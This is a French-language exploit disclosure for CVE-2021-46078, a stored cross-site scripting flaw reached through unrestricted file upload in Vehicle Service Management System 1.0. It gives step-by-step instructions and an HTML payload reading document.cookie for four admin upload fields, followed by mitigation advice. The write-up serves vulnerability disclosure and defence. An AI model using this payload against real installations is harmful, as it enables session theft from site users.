CVE-2021-46078
Titre de l'exploit : Vehicle Service Management System - Le téléchargement de 'plusieurs' fichiers conduit à un Cross-Site Scripting stocké
Auteur de l'exploit : SANU P.L
CVE : CVE-2021-46078
CVSS : 4.8 MOYEN
Références :
Description :
Une vulnérabilité de téléchargement de fichier sans restriction existe dans Sourcecodester Vehicle Service Management System 1.0. Un attaquant distant peut télécharger des fichiers malveillants conduisant à une vulnérabilité de Cross-Site Scripting stocké.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section My Account http://localhost/vehicle_service/admin/?page=user
Payload :
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par ex. XSS.html
- Dans la section My Account, saisissez tous les détails requis et parcourez le fichier html dans Avatar.
- Cliquez sur le bouton update.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section User List et cliquez sur le bouton Create New.
Payload :
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par ex. XSS.html
- Dans la page Create New User, saisissez tous les détails requis et parcourez le fichier html dans Avatar.
- Cliquez sur le bouton Save.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Settings http://localhost/vehicle_service/admin/?page=system_info
Payload :
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par ex. XSS.html
- Dans la section Settings, saisissez tous les détails requis et parcourez le fichier html dans System Logo.
- Cliquez sur le bouton update.
- Ouvrez l'image du System Logo dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Settings http://localhost/vehicle_service/admin/?page=system_info
Payload :
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par ex. XSS.html
- Dans la section Settings, saisissez tous les détails requis et parcourez le fichier html dans Website Cover.
- Cliquez sur le bouton update.
- Ouvrez l'image du Website Cover dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
Impact :
Un attaquant peut télécharger un fichier malveillant sur plusieurs points de terminaison, ce qui conduit à un Cross-Site Scripting stocké.
Atténuation :
Il est recommandé de mettre en œuvre les mesures suivantes :
- N'accepter jamais un nom de fichier et son extension directement sans disposer d'un filtre de liste blanche.
- S'il n'est pas nécessaire d'avoir des caractères Unicode, il est fortement recommandé de n'accepter que des caractères alphanumériques et un seul point comme entrée pour le nom du fichier et l'extension.
- Limiter la taille du fichier à une valeur maximale afin d'empêcher les attaques par déni de service.
- Le répertoire de téléchargement ne doit pas avoir de permission "execute".
- Ne pas se fier uniquement à la validation côté client.